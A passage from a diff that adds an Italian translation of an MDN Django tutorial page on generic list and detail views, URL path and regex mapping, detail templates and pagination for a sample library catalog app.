+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_queryset(self):
+        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+</pre>
+
+<p>Possiamo anche sovrascrivere <code>get_context_data()</code> per passare altre variabili addizionali di context al template (es. la lista di libri è passata per default). Il frammento sotto mostra come aggiungere una variabile "<code>some_data</code>" al context (sarà quindi disponibile come variabile del template).</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get the context
+        context = super(BookListView, self).get_context_data(**kwargs)
+        # Create any data and add it to the context
+        context['some_data'] = 'This is just some data'
+        return context</pre>
+
+<p>Quando si esegue questa operazione è importante seguire lo schema usato sopra:</p>
+
+<ul>
+ <li>Per prima cosa prendi il contesto esistente dalla nostra superclasse.</li>
+ <li>Quindi aggiungi le tue nuove informazioni di contesto.</li>
+ <li>Quindi restituisci il nuovo contesto (aggiornato).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Leggi <a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs) per vedere molti altri esempi di cosa puoi fare.</p>
+</div>
+
+<h3 id="Creare_List_View_template">Creare List View template</h3>
+
+<p>Crea il file HTML <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> e copia il testo sotto. Come discusso sopra, questo è il file predefinito per un template previsto dalla vista elenco generica basata su classi (per un modello denominato <code>Book</code> in un'applicazione denominata <code>catalog</code>)</p>
+
+<p>I template per le view generiche sono come qualsiasi altro template (anche se ovviamente il contesto/informazioni passate al template possono differire). Come con il nostro template di <em>index</em>, estendiamo il nostro template di base nella prima riga e poi sostituiamo il blocco denominato <code>content</code>.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Book List&lt;/h1&gt;
+  <strong>{% if book_list %}</strong>
+  &lt;ul&gt;
+    {% for book in book_list %}
+      &lt;li&gt;
+        &lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+      &lt;/li&gt;
+    {% endfor %}
+  &lt;/ul&gt;
+  <strong>{% else %}</strong>
+    &lt;p&gt;There are no books in the library.&lt;/p&gt;
+  <strong>{% endif %} </strong>
+{% endblock %}</pre>
+
+<p>La view passa il contesto (elenco di libri) di default con <code>object_list</code> e <code>book_list</code> come alias; in ogni caso funzionerà.</p>
+
+<h4 id="Esecuzione_condizionale">Esecuzione condizionale</h4>
+
+<p>Usiamo i tag template <code><a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if">if</a></code>, <code>else</code>, ed <code>endif</code> per controllare se la <code>book_list</code> è stata definita e non è vuota. Se <code>book_list</code> è vuota, allora la clausola <code>else</code> mostra un testo alternativo in cui spiega che non sono presenti record da elencare. Se <code>book_list</code> non è vuota, allora iteriamo sulla lista di libri.</p>
+
+<pre class="brush: html"><strong>{% if book_list %}</strong>
+  &lt;!-- code here to list the books --&gt;
+<strong>{% else %}</strong>
+  &lt;p&gt;There are no books in the library.&lt;/p&gt;
+<strong>{% endif %}</strong>
+</pre>
+
+<p>La condizione sopra fa il test su un'unica condizione, ma si possono effettuare ulteriori test e gestire ulteriori casi, per testare condizioni addizionali si può usare ad esempio il tag <code>elif </code>(es. <code>{% elif var2 %}</code>). Per maggiori informazioni sugli operatori condizionali consultare: <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>, <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#ifchanged">ifchanged</a> in <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins">Built-in template tags and filters</a> (Django Docs).</p>
+
+<h4 id="Cicli_for">Cicli for</h4>
+
+<p>Il template utilizza i tag <a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins/#for">for</a> <code>endfor</code> per ciclare la lista di libri, come sotto. Ogni iterazione popola la variabile di template <code>book</code> con le informazioni per l'elemento corrente della lista.</p>
+
+<pre class="brush: html">{% for <strong>book</strong> in book_list %}
+  &lt;li&gt; &lt;!-- code here get information from each <strong>book</strong> item --&gt; &lt;/li&gt;
+{% endfor %}
+</pre>
+
+<p>Anche se non usato qui, all'interno del loop Django creerà anche altre variabili che puoi usare per tracciare l'iterazione. Ad esempio, è possibile testare la variabile <code>forloop.last</code> per eseguire l'elaborazione condizionale l'ultima volta che viene eseguito il ciclo.</p>
+
+<h4 id="Accedere_alle_variabili">Accedere alle variabili</h4>
+
+<p>Il codice all'interno del ciclo crea un item di elenco per ogni libro che mostra sia il titolo (come collegamento alla vista dei dettagli ancora da creare) sia l'autore.</p>
+
+<pre class="brush: html">&lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+</pre>
+
+<p>Accediamo ai campi del record del libro associato utilizzando la "notazione dot" (es. <code>book.title</code> e <code>book.author</code>), dove il testo che segue <code>book</code> è il nome del campo (come definito nel model).</p>
+
+<p>Possiamo anche chiamare delle <em>functions</em> nel model da dentro il nostro template — in questo caso <code>Book.get_absolute_url()</code> per ottenere un URL che è possibile utilizzare per visualizzare il record di dettaglio associato. Questo funziona a condizione che la funzione non abbia argomenti (non c'è modo di passare argomenti!)</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Dobbiamo stare attenti agli "effetti collaterali" quando chiamiamo le funzioni nei model. Qui visualizziamo solo un URL, ma una funzione può fare praticamente qualsiasi cosa: non vogliamo rischiare di cancellare il nostro database (per esempio) semplicemente mostrando il nostro template!</p>
+</div>
+
+<h4 id="Update_del_template_di_base">Update del template di base</h4>
+
+<p>Apri il template di base (<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>) ed inserisci <strong>{% url 'books' %} </strong>dentro il link Url per <strong>All books</strong>, come sotto. Questo abiliterà il link in tutte le pagine (possiamo metterlo in pratica con successo ora che abbiamo creato il mapper URL "libri").</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+<strong>&lt;li&gt;&lt;a href="{% url 'books' %}"&gt;All books&lt;/a&gt;&lt;/li&gt;</strong>
+&lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;</pre>
+
+<h3 id="Come_viene_mostrato">Come viene mostrato?</h3>
+
+<p>Non sarà ancora possibile creare l'elenco dei libri, perché manca ancora una dipendenza: la mappa degli URL per le pagine dei dettagli del libro, necessaria per creare collegamenti ipertestuali a singoli libri. Mostreremo entrambe le viste elenco e dettaglio dopo la prossima sezione.</p>
+
+<h2 id="Pagina_di_dettaglio_dei_libri">Pagina di dettaglio dei libri</h2>
+
+<p>La pagina dei dettagli del libro mostrerà le informazioni su un libro specifico, accessibile tramite l'URL <code>catalog/book/<em>&lt;id&gt;</em></code> (dove <code><em>&lt;id&gt;</em></code> è la chiave primaria per il libro). Oltre ai campi nel model Book (autore, sommario, ISBN, lingua e genere), elencheremo anche i dettagli delle copie disponibili (<code>BookInstances</code>) compreso lo stato, la data di ritorno prevista, l'edizione e l'id. Ciò consentirà ai nostri lettori non solo di conoscere il libro, ma anche di confermare se/quando è disponibile.</p>
+
+<h3 id="URL_mapping_2">URL mapping</h3>
+
+<p>Apri <strong>/catalog/urls.py</strong> e aggiungi l'URL mapper '<strong>book-detail</strong>' mostrato in grassetto qui sotto. Questa funzione <code>path()</code> definisce un pattern, una vista di dettaglio generica basata sulla classe e un nome.</p>
+
+<pre class="brush: python">urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+<strong>    path('book/&lt;int:pk&gt;', views.BookDetailView.as_view(), name='book-detail'),</strong>
+]</pre>
+
+<p>Per il path dei dettagli del libro, il pattern URL utilizza una sintassi speciale per catturare l'ID specifico del libro che vogliamo vedere. La sintassi è molto semplice: le parentesi angolari definiscono la parte dell'URL da catturare, racchiudendo il nome della variabile che la vista può utilizzare per accedere ai dati acquisiti. Per esempio, <strong>&lt;something&gt;</strong> , catturerà il pattern marcato, e passerà il valore alla view come variabile con nome "something". Puoi anche far precedere al nome della variabile una <a href="https://docs.djangoproject.com/en/2.1/topics/http/urls/#path-converters">specifica di conversione</a> che definisce il tipo di dato (int, str, slug, uuid, path).</p>
+
+<p>In questo caso usiamo <code>'&lt;int:pk&gt;'</code><strong> </strong>per acquisire l'id del libro, che deve essere una stringa appositamente formattata e passarla alla vista come parametro chiamato <code>pk</code> (abbreviazione di primary key). Questo è l'ID che viene utilizzato per archiviare il libro in modo univoco nel database, come definito nel Modello Book.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Come discusso precedentemente, il nostro URL matchato in realtà è <code>catalog/book/&lt;digits&gt;</code> (ma perchè siamo nell'applicazione <strong>catalog</strong> <code>/catalog/</code> è sottinteso).</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: La vista di dettaglio generica basata sulla classe prevede di passare un parametro denominato pk. Se stai scrivendo la tua vista funzione puoi usare qualsiasi nome di parametro che ti piace, o addirittura passare le informazioni in un argomento senza nome.</p>
+</div>
+
+<h4 id="Manuale_di_nozioni_avanzate_su_path_matching_ed_espressioni_regolari">Manuale di nozioni avanzate su path matching ed espressioni regolari</h4>
+
+<div class="note">
+<p><strong>Nota</strong>: Non avrai bisogno di questa sezione per completare il tutorial! Lo forniamo perché conoscere questa opzione rischia di essere utile nel tuo futuro incentrato su Django.</p>
+</div>
+
+<p>Il pattern matching fornito da <code>path()</code> è semplice ed utile per il caso (molto diffuso) in cui vuoi solo catturare ogni stringa od intero. Se è necessario un filtro più raffinato (ad esempio, per filtrare solo le stringhe con un determinato numero di caratteri), è possibile utilizzare il metodo <a href="https://docs.djangoproject.com/en/2.1/ref/urls/#django.urls.re_path">re_path()</a>.</p>
+
+<p>Questo metodo funziona esattamente come <code>path()</code> eccetto per il fatto che permette di specificare un pattern utilizzando una Regex. Vedi: <a href="https://docs.python.org/3/library/re.html">Regular expression</a>. Per esempio, avremmo potuto specificare il path precedente con:</p>
+
+<pre class="brush: python"><strong>re_path(r'^book/(?P&lt;pk&gt;\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong>
+</pre>
+
+<p>Le espressioni regolari sono uno strumento di mappatura dei pattern incredibilmente potente. Sono, francamente, abbastanza non intuitive e spaventose per i principianti. Di seguito è riportato un primer molto breve!</p>
+
+<p>La prima cosa da sapere è che di solito le espressioni regolari dovrebbero essere dichiarate usando la sintassi "raw string" letterale (cioè, sono incluse come mostrato: <strong>r'&lt;testo della regex&gt;'</strong>).</p>
+
+<p>Le parti principali della sintassi che devi conoscere per dichiarare i match del pattern sono:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Symbol</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>^</td>
+   <td>Matcha l'inizio del testo</td>
+  </tr>
+  <tr>
+   <td>$</td>
+   <td>Matcha la fine del testo</td>
+  </tr>
+  <tr>
+   <td>\d</td>
+   <td>Matcha un numero (0, 1, 2, ... 9)</td>
+  </tr>
+  <tr>
+   <td>\w</td>
+   <td>Matcha una parola word character, es. ogni maiuscola- o minuscola- dell'alfabeto, numero o underscore (_)</td>
+  </tr>
+  <tr>
+   <td>+</td>
+   <td>Matcha uno o più caratteri precedenti. Ad esempio, per matchare una o più cifre useresti <code>\d+</code>. Per abbinare uno o più caratteri "a", potresti usare <code>a+</code></td>
+  </tr>
+  <tr>
+   <td>*</td>
+   <td>Abbina zero o più del carattere precedente. Ad esempio, per abbinare niente o una parola che potresti usare <code>\w*</code></td>
+  </tr>
+  <tr>
+   <td>( )</td>
+   <td>Cattura la parte del pattern all'interno delle parentesi. Tutti i valori acquisiti verranno passati alla vista come parametri senza nome (se vengono catturati più pattern, i parametri associati verranno forniti nell'ordine in cui sono state dichiarate le acquisizioni)</td>
+  </tr>
+  <tr>
+   <td>(?P&lt;<em>name</em>&gt;...)</td>
+   <td>Cattura il pattern (indicato da ...) come una variabile con nome (in questo caso "name"). I valori catturati sono passati alla view con il nome specificato. La tua view deve dichiarare un argomento con lo stesso nome!</td>
+  </tr>
+  <tr>
+   <td>[  ]</td>
+   <td>Abbina uno dei caratteri del set. Per esempio, [abc] matcherà con 'a' o 'b' o 'c'. [-\w] restituirà un match con il carattere '-' o con ogni parola.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La maggioranza degli altri caratteri può essere presa letteralmente!</p>
+
+<p>Consideriamo alcuni esempi di pattern realistici:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Pattern</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>r'^book/(?P&lt;pk&gt;\d+)$'</strong></td>
+   <td>
+    <p>Matcha una stringa che ha <code>book/</code> all'inizio della linea (<strong>^book/</strong>), dopo ha una o più cifre (<code>\d+</code>), e quindi termina (senza caratteri non numerici prima dell'indicatore di fine riga).</p>
+
+    <p>Cattura anche tutte le cifre <strong>(?P&lt;pk&gt;\d+)</strong> e le passa alla vista in un parametro chiamato 'pk'. <strong>I valori catturati vengono sempre passati come una stringa!</strong></p>
+
+    <p>Ad esempio, <code>book/1234</code> invierà una variabile <code>pk = '1234</code>' alla view.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(\d+)$'</strong></td>
+   <td>Questo corrisponde agli stessi URL del caso precedente. Le informazioni acquisite verranno inviate come argomento senza nome alla vista.</td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(?P&lt;stub&gt;[-\w]+)$'</strong></td>
+   <td>
+    <p>Matcha una stringa che ha <code>book/</code> all'inizio della linea (<strong>^book/</strong>), quindi ha uno o più caratteri che sono o un carattere '-' o una parola (<strong>[-\w]+</strong>), e si conclude. Cattura anche questo set di caratteri e li passa alla vista in un parametro chiamato 'stub'.</p>
+
+    <p>Questo è uno schema abbastanza tipico per uno "stub". Gli stub sono chiavi primarie basate sull'uso di URL per i dati. È possibile utilizzare uno stub se si desidera che l'URL del libro sia più informativo. Per esempio <code>/catalog/book/the-secret-garden</code> anzichè <code>/catalog/book/33</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>È possibile acquisire più pattern nello stesso match e quindi codificare molte informazioni diverse in un URL.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Come sfida, considera come potresti codificare un URL per elencare tutti i libri pubblicati in un particolare anno, mese, giorno e RE che potrebbero essere utilizzati per abbinarlo.</p>
+</div>
+
+<h4 id="Passare_opzioni_addizionali_nelle_tue_mappe_URL">Passare opzioni addizionali nelle tue mappe URL</h4>
+
+<p>Una caratteristica che non abbiamo usato qui, ma che potresti trovare di valore, è che puoi dichiarare e passare alla view <a href="https://docs.djangoproject.com/en/2.1/topics/http/urls/#views-extra-options">opzioni aggiuntive</a>. Le opzioni sono dichiarate come dizionario che si passa come terzo argomento non assegnato (senza nome) alla funzione <code>path()</code>. Questo approccio può essere utile se si desidera utilizzare la stessa view per più risorse e passare i dati per configurarne il comportamento in ciascun caso (di seguito forniamo un template diverso in ciascun caso).</p>
+
+<pre class="brush: python">path('url/', views.my_reused_view, <strong>{'my_template_name': 'some_path'}</strong>, name='aurl'),
+path('anotherurl/', views.my_reused_view, <strong>{'my_template_name': 'another_path'}</strong>, name='anotherurl'),
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Entrambe le opzioni extra e i pattern nominati catturati vengono passati alla view come argomenti con nome. Se si utilizza lo stesso nome sia per un pattern catturato che per un'opzione extra, solo il valore del pattern catturato verrà inviato alla vista (il valore specificato nell'opzione aggiuntiva verrà scartato).</p>
+</div>
+
+<h3 id="View_(class-based)">View (class-based)</h3>
+
+<p>Apri <strong>catalog/views.py</strong>, e copia il seguente codice alla fine del file:</p>
+
+<pre class="brush: python">class BookDetailView(generic.DetailView):
+    model = Book</pre>
+
+<p>Fatto! Tutto ciò che ti serve fare ora è creare un template chiamato <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, e la view passerà al database l'informazione per lo specifico record di tipo <code>Book</code> estratto dall'URL mapper. All'interno del modello è possibile accedere all'elenco di libri con la variabile template denominata <code>object</code> OR <code>book</code> (cioè genericamente "the_model_name").</p>
+
+<p>Se necessario, è possibile modificare il template utilizzato e il nome dell'oggetto contesto utilizzato per fare riferimento al libro nel template. È inoltre possibile sovrascrivere i metodi per aggiungere ulteriori informazioni al contesto, ad esempio.</p>
+
+<h4 id="Cosa_succede_se_il_record_non_esiste">Cosa succede se il record non esiste?</h4>
+
+<p>Se un record richiesto non esiste, la vista generica basata sulla classe genererà un'eccezione Http404 automaticamente: in produzione, verrà automaticamente visualizzata una pagina appropriata "risorsa non trovata", che è possibile personalizzare se lo si desidera. Solo per darti un'idea di come funziona, il frammento di codice seguente mostra come implementare la vista basata su classi come una funzione se non si stesse utilizzando la vista di dettaglio generica basata sulla classe.</p>
+
+<pre class="brush: python">def book_detail_view(request, primary_key):
+    try:
+        book = Book.objects.get(pk=primary_key)
+    except Book.DoesNotExist:
+        raise Http404('Book does not exist')
+
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+</pre>
+
+<p>La vista prima cerca di ottenere il record del libro specifico dal modello. Se questo fallisce, la vista dovrebbe sollevare un'eccezione Http404 per indicare che il libro è "non trovato". Il passo finale è quindi, come al solito, chiamare render () con il nome del modello e i dati del libro nel parametro di contesto (come dizionario).</p>
+
+<p>In alternativa, possiamo usare la funzione <code>get_object_or_404()</code> come scorciatoia per sollevare un'eccezione <code>Http404</code> se il record non viene trovato.</p>
+
+<pre class="brush: python">from django.shortcuts import get_object_or_404
+
+def book_detail_view(request, primary_key):
+    book = get_object_or_404(Book, pk=primary_key)
+    return render(request, 'catalog/book_detail.html', context={'book': book})</pre>
+
+<h3 id="Creare_il_template_per_la_vista_dettaglio">Creare il template per la vista dettaglio</h3>
+
+<p>Crea il file HTML <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> ed inserisci il seguente contenuto. come discusso precedentmente, questo nome file di default per il template è quello atteso dalla generica class-based <em>detail</em> view (per un modello di nome <code>Book</code> in una applicazione di nome <code>catalog</code>).</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Title: \{{ book.title }}&lt;/h1&gt;
+
+  &lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href=""&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt; &lt;!-- author detail link not yet defined --&gt;
+  &lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; \{{ book.summary }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;ISBN:&lt;/strong&gt; \{{ book.isbn }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Language:&lt;/strong&gt; \{{ book.language }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Genre:&lt;/strong&gt; {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}&lt;/p&gt;
+
+  &lt;div style="margin-left:20px;margin-top:20px"&gt;
+    &lt;h4&gt;Copies&lt;/h4&gt;
+
+    {% for copy in book.bookinstance_set.all %}
+      &lt;hr&gt;
+      &lt;p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}"&gt;\{{ copy.get_status_display }}&lt;/p&gt;
+      {% if copy.status != 'a' %}
+        &lt;p&gt;&lt;strong&gt;Due to be returned:&lt;/strong&gt; \{{copy.due_back}}&lt;/p&gt;
+      {% endif %}
+      &lt;p&gt;&lt;strong&gt;Imprint:&lt;/strong&gt; \{{copy.imprint}}&lt;/p&gt;
+      &lt;p class="text-muted"&gt;&lt;strong&gt;Id:&lt;/strong&gt; \{{copy.id}}&lt;/p&gt;
+    {% endfor %}
+  &lt;/div&gt;
+{% endblock %}</pre>
+
+<ul>
+</ul>
+
+<div class="note">
+<p>Il link dell'autore nel template sopra ha un URL vuoto perché non abbiamo ancora creato una pagina dei dettagli dell'autore. Una volta che esisterà, dovresti aggiornare l'URL in questo modo:</p>
+
+<pre>&lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;
+</pre>
+</div>
+
+<p>Anche se un po 'più grande, quasi tutto in questo template è stato descritto in precedenza:</p>
+
+<ul>
+ <li>Estendiamo il nostro template di base e facciamo l'override del blocco "content".</li>
+ <li>Utilizziamo l'elaborazione condizionale per determinare se visualizzare o meno il contenuto specifico.</li>
+ <li>Usiamo i loop per scorrere gli elenchi di oggetti.</li>
+ <li>Accediamo ai campi di context usando la notazione dot (poiché abbiamo usato la vista generica di dettaglio, il context è denominato <code>book</code>, potremmo anche usare "<code>object</code>")</li>
+</ul>
+
+<p>Prima non abbiamo visto la funzione interessante <code>book.bookinstance_set.all()</code>. Questo metodo viene auto-magicamente creato da Django per restituire un set di record <code>BookInstance</code>  associati con un particolare <code>Book</code>.</p>
+
+<pre class="brush: python">{% for copy in book.bookinstance_set.all %}
+  &lt;!-- code to iterate across each copy/instance of a book --&gt;
+{% endfor %}</pre>
+
+<p>Questo metodo è necessario perchè hai dichiarato una <code>ForeignKey</code> (uno-a-molti) solamente da una parte della relazione. Poichè non hai fatto nulla per dichiarare la relazione negli altri ("molti") modelli, non ci sono alcun campo da cui prendere il set di record associati. Per superare questo problema, Django costruisce un appropriata funzione di nome "reverse lookup" (ricerca inversa) che puoi usare. Il nome della funzione viene costruito con le lettere minuscole del modello in cui la <code>ForeignKey</code> è stata dichiarata, seguita da <code>_set</code> (ovvero la funzione creata in <code>Book</code> è <code>bookinstance_set()</code>).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Qui usiamo <code>all()</code> per ottenere tutti i record (di default). Anche se puoi usare il metodo <code>filter()</code> per ricevere un sottoinsieme di record nel tuo codice, non puoi farlo direttamente nei template perchè non puoi specificare argomenti nelle funzioni.</p>
+
+<p>Fai attenzione anche a non definire un ordine (sulla tua vista class-based o model), altrimenti vedrai anche degli errori dal server di sviluppo come questo:</p>
+
+<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
+/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: &lt;QuerySet [&lt;Author: Ortiz, David&gt;, &lt;Author: H. McRaven, William&gt;, &lt;Author: Leigh, Melinda&gt;]&gt;
+  allow_empty_first_page=allow_empty_first_page, **kwargs)
+</pre>
+
+<p>Ciò si verifica perché <a href="https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects">paginator object</a> si aspetta di vedere alcuni ORDER BY eseguiti sul database sottostante. Senza di esso, non può essere sicuro che i record siano restituiti effettivamente nell'ordine corretto! </p>
+
+<p>In questo tutorial non abbiamo ancora visto <strong>Pagination</strong> (ancora, ma presto), ma poichè non puoi utilizzare <code>sort_by()</code> e passare un parametro, (stessa cosa con <code>filter()</code>) dovrai scegliere tra tre strade:</p>
+
+<ol>
+ <li>Aggiungere un <code>ordering</code> dentro una dichiarazione <code>class Meta</code> nel tuo modello.</li>
+ <li>Aggiungere un attibuto <code>queryset</code>  nella tua view custom class-based, specificando un <code>order_by()</code>.</li>
+ <li>Aggiungere un metodo <code>get_queryset</code> alla tua view  custom class-based e specificando un <code>order_by()</code>.</li>
+</ol>
+
+<p>Se decidi di usare una classe Meta per il model Author (probabilmente non così flessibile come personalizzare la vista basata sulla classe, ma abbastanza facile), ti ritroverai con qualcosa di simile a questo</p>
+
+<pre>class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+
+<strong>    class Meta:
+        ordering = ['last_name']</strong></pre>
+
+<p>Ovviamente, il campo non necessita di essere un <code>last_name</code>: può essere qualunque altro.</p>
+
+<p>E per ultimo, ma non meno importante, dovresti ordinare un attributo/colonna che abbia effettivamente un indice (unico o meno) sul tuo database per evitare problemi di prestazioni. Ovviamente, questo non sarà necessario qui, con così pochi libri (e utenti!), ma è qualcosa da tenere a mente per i progetti futuri.</p>
+</div>
+
+<h2 id="Come_viene_visualizzato">Come viene visualizzato?</h2>
+
+<p>A questo punto, avremmo dovuto creare tutto il necessario per visualizzare sia l'elenco dei libri sia le pagine di dettaglio dei libri. Lancia il comando (<code>python3 manage.py runserver</code>) ed apri sul tuo browser <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>.</p>
+
+<div class="warning">
+<p><strong>Warning: </strong>Non fare ancora clic su nessun link di autore o di dettaglio dell'autore: creerai quelli nella sfida!</p>
+</div>
+
+<p>Click su <strong>All books</strong> per vedere la lista di tutti i libri. </p>
+
+<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p>
+
+<p>Quindi fai clic su un link a uno dei tuoi libri. Se tutto è impostato correttamente, dovresti vedere qualcosa come il seguente screenshot.</p>
+
+<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p>
+
+<h2 id="Impaginazione">Impaginazione</h2>
+
+<p>Se hai appena qualche record, la nostra pagina di elenco dei libri sembrerà a posto. Tuttavia, inserendo decine o centinaia di record la pagina impiegherà più tempo a caricarsi (e avrà troppi contenuti per navigare in modo ragionevole). La soluzione a questo problema è di aggiungere l'impaginazione alle visualizzazioni della lista, riducendo il numero di elementi visualizzati su ciascuna pagina.</p>
+
+<p>Django ha un eccellente supporto per l'impaginazione built-in. Ancora meglio, questo è incorporato nelle view lista generiche basate su classe, quindi non devi fare molto per abilitarlo!</p>
+
+<h3 id="Views">Views</h3>
+
+<p>Apri <strong>catalog/views.py</strong>, ed aggiungi la riga di codice <code>paginate_by</code> mostrata sotto.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    <strong>paginate_by = 10</strong></pre>
+
+<p>Con questa aggiunta, non appena si hanno più di 10 record, la vista inizierà a impaginare i dati che invia al modello. Si accede alle diverse pagine usando i parametri GET - per accedere alla pagina 2 si utilizzerà l'URL: <code>/catalog/books/<strong>?page=2</strong></code>.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>Ora che i dati sono impaginati, è necessario aggiungere il supporto al template per scorrere il set di risultati. Poiché potremmo volerlo fare in tutte le view elenco, lo faremo in un modo che possa essere aggiunto al template base.</p>
+
+<p>Apri <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> e copiaci dentro il seguente blocco di paginazione (evidenziato in grassetto qui in basso) sotto il nostro block content. Il codice controlla innanzitutto se l'impaginazione è abilitata nella pagina corrente. In tal caso, aggiunge i collegamenti successivo e precedente se appropriato (e il numero di pagina corrente).</p>
+
+<pre class="brush: python">{% block content %}{% endblock %}
+
+<strong>{% block pagination %}
+  {% if is_paginated %}
+    &lt;div class="pagination"&gt;
+      &lt;span class="page-links"&gt;
+        {% if page_obj.has_previous %}
+          &lt;a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}"&gt;previous&lt;/a&gt;
+        {% endif %}
+        &lt;span class="page-current"&gt;
+          &lt;p&gt;Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.&lt;/p&gt;
+        &lt;/span&gt;
+        {% if page_obj.has_next %}
+          &lt;a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}"&gt;next&lt;/a&gt;
+        {% endif %}
+      &lt;/span&gt;
+    &lt;/div&gt;
+  {% endif %}
+{% endblock %} </strong></pre>
+
+<p>Il <code>page_obj</code> è un oggetto <a href="https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects">Paginator</a> che esisterà se la paginazione viene utilizzata nella pagina corrente. Ti permette di ottenere tutte le informazioni sulla pagina corrente, le pagine precedenti, quante pagine ci sono, ecc.</p>
+
+<p>Usiamo <code>\{{ request.path }}</code> per ottenere l'URL della pagina corrente per la creazione dei collegamenti di paginazione. Questo è utile perché è indipendente dall'oggetto che stiamo impaginando.</p>
+
+<p>Ecco fatto!</p>
+
+<h3 id="Come_viene_visualizzato_2">Come viene visualizzato?</h3>
+
+<p>Lo screenshot qui sotto mostra l'aspetto della paginazione: se non hai inserito più di 10 titoli nel tuo database, puoi testarlo più facilmente abbassando il numero specificato in <code>paginate_by.</code></p>
+
+<p>I link di impaginazione sono visualizzati in basso, con i link successivo / precedente visualizzati a seconda della pagina in cui ti trovi.</p>
+
+<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p>
+
+<h2 id="Sfida_te_stesso">Sfida te stesso</h2>
+
+<p>La sfida in questo articolo è di creare le view di dettaglio e le view di elenco dell'autore richieste per completare il progetto. Questi dovrebbero essere resi disponibili ai seguenti URL:</p>
+
+<ul>
+ <li><code>catalog/authors/</code> — lista di tutti gli authors.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>— Vista di dettaglio dell'autore con chiave primaria <em><code>&lt;id&gt;</code></em></li>
+</ul>
+
